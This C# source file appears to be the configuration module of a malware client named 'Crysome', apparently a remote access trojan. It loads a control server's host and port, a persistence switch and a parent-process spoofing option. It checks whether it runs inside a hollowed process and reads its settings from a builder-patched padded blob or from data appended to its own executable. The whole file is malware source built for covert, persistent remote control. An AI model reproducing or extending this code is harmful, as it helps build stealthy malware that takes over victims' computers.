initial commit
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i2p
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using System;
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using System.Collections.Generic;
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using System.Diagnostics;
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using System.IO;
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using System.Reflection;
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using System.Text;
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namespace Crysome.Client.Configuration;
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public static class ClientConfiguration
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{
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public static string Identifier = "Crysome-01";
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public static string Host = "127.0.0.1";
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public static int Port = 7777;
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public static string Group = "";
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public static bool Persistence = false;
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public static string ParentSpoof = "";
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public static HashSet<string> EnabledFeatures = null;
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private const string EmbeddedMarker = "##CRYCFG##";
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private const char PaddingChar = '\u0001';
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internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";
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private const string TailMarker = "##CRYCONFIG##";
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private static bool? _isHollowed = null;
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public static bool IsHollowed
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{
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get
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{
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if (_isHollowed.HasValue)
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{
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return _isHollowed.Value;
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}
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try
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{
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string location = Assembly.GetExecutingAssembly().Location;
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if (string.IsNullOrEmpty(location))
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{
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_isHollowed = true;
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return true;
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}
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string name = Assembly.GetExecutingAssembly().GetName().Name;
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bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
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_isHollowed = !flag;
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return _isHollowed.Value;
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}
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catch
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{
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_isHollowed = true;
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return true;
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}
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}
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}
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public static string GetProcessPath()
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{
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if (!IsHollowed)
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{
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try
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{
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string location = Assembly.GetExecutingAssembly().Location;
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if (!string.IsNullOrEmpty(location) && File.Exists(location))
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{
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return location;
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}
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}
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catch
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{
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}
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}
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try
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{
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string text = Process.GetCurrentProcess().MainModule?.FileName;
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if (!string.IsNullOrEmpty(text) && File.Exists(text))
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{
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return text;
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}
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}
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catch
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{
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}
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try
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{
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string[] commandLineArgs = Environment.GetCommandLineArgs();
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if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
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{
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return commandLineArgs[0];
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}
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}
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catch
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{
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}
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return null;
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}
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public static void Init()
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{
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if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
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{
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TryLoadFromJsonFile();
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}
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}
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private static bool TryLoadFromEmbedded()
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{
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try
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{
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string embeddedConfig = EmbeddedConfig;
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if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
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{
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return false;
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}
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string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
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if (string.IsNullOrWhiteSpace(text))
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{
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return false;
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}
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Program.Log("Config found in embedded blob");
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ParseJson(text);
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return true;
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}
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catch (Exception ex)
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{
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Program.Log("Embedded config error: " + ex.Message);
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return false;
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}
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}
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private static bool TryLoadFromExeTail()
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{
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if (IsHollowed)
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{
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return false;
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}
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try
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{
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string processPath = GetProcessPath();
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if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
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{
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return false;
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}
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byte[] array = File.ReadAllBytes(processPath);
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string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
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int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
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if (num < 0)
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{
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return false;
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}
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string json = text.Substring(num + "##CRYCONFIG##".Length);
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Program.Log("Config found in exe tail");
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ParseJson(json);
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return true;
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}
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catch (Exception ex)
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{
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Program.Log("Exe tail config error: " + ex.Message);
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return false;
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}
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}
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private static void TryLoadFromJsonFile()
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{
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string processPath = GetProcessPath();
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string text = null;
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try
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{
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text = Path.GetFileNameWithoutExtension(processPath);
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}
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catch
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{
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}
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string[] array = new string[3]
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{
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AppDomain.CurrentDomain.BaseDirectory,
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Path.GetDirectoryName(processPath),
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Environment.CurrentDirectory
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};
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foreach (string text2 in array)
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{
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if (string.IsNullOrEmpty(text2))
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{
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continue;
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}
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try
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{
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string text3 = Path.Combine(text2, "config.json");
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if (File.Exists(text3))
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{
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Program.Log("Loading config.json: " + text3);
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ParseJson(File.ReadAllText(text3));
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return;
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}
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if (!string.IsNullOrEmpty(text))
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{
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string text4 = Path.Combine(text2, text + ".config.json");
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if (File.Exists(text4))
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{
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Program.Log("Loading alt config: " + text4);
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ParseJson(File.ReadAllText(text4));
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return;
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}
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}
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}
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catch (Exception ex)
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{
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Program.Log("Config json error: " + ex.Message);
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}
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}
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Program.Log("No config found, using defaults (127.0.0.1:7777)");
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}
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private static void ParseJson(string json)
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{
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string text = Extract(json, "host");
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string s = Extract(json, "port");
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string text2 = Extract(json, "group");
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string text3 = Extract(json, "persistence");
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string text4 = Extract(json, "feat");
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string text5 = Extract(json, "parent");
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if (!string.IsNullOrEmpty(text))
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{
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Host = text;
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}
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if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
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{
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Port = result;
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}
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if (!string.IsNullOrEmpty(text2))
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{
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Group = text2;
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}
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if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
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{
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Persistence = true;
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}
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if (!string.IsNullOrEmpty(text5))
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{
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ParentSpoof = text5.Trim().ToLowerInvariant();
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}
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if (!string.IsNullOrEmpty(text4))
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{
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EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
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string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
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foreach (string text6 in array)
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{
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EnabledFeatures.Add(text6.Trim());
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}
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}
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Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
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}
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public static bool IsFeatureEnabled(string key)
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{
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if (EnabledFeatures == null)
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{
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return true;
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}
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return EnabledFeatures.Contains(key);
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}
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private static string Extract(string json, string key)
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{
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string value = "\"" + key + "\"";
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int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
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if (num < 0)
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{
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return null;
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}
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num = json.IndexOf(':', num);
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if (num < 0)
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{
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return null;
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}
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for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
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{
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}
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if (num >= json.Length)
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{
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return null;
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}
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if (json[num] == '"')
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{
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num++;
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int i = num;
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bool flag = false;
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for (; i < json.Length; i++)
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{
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if (json[i] == '\\')
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{
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flag = !flag;
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continue;
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}
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if (json[i] == '"' && !flag)
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{
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break;
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}
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flag = false;
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}
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return json.Substring(num, i - num);
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}
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int j;
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for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
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{
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}
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return json.Substring(num, j - num);
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}
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}
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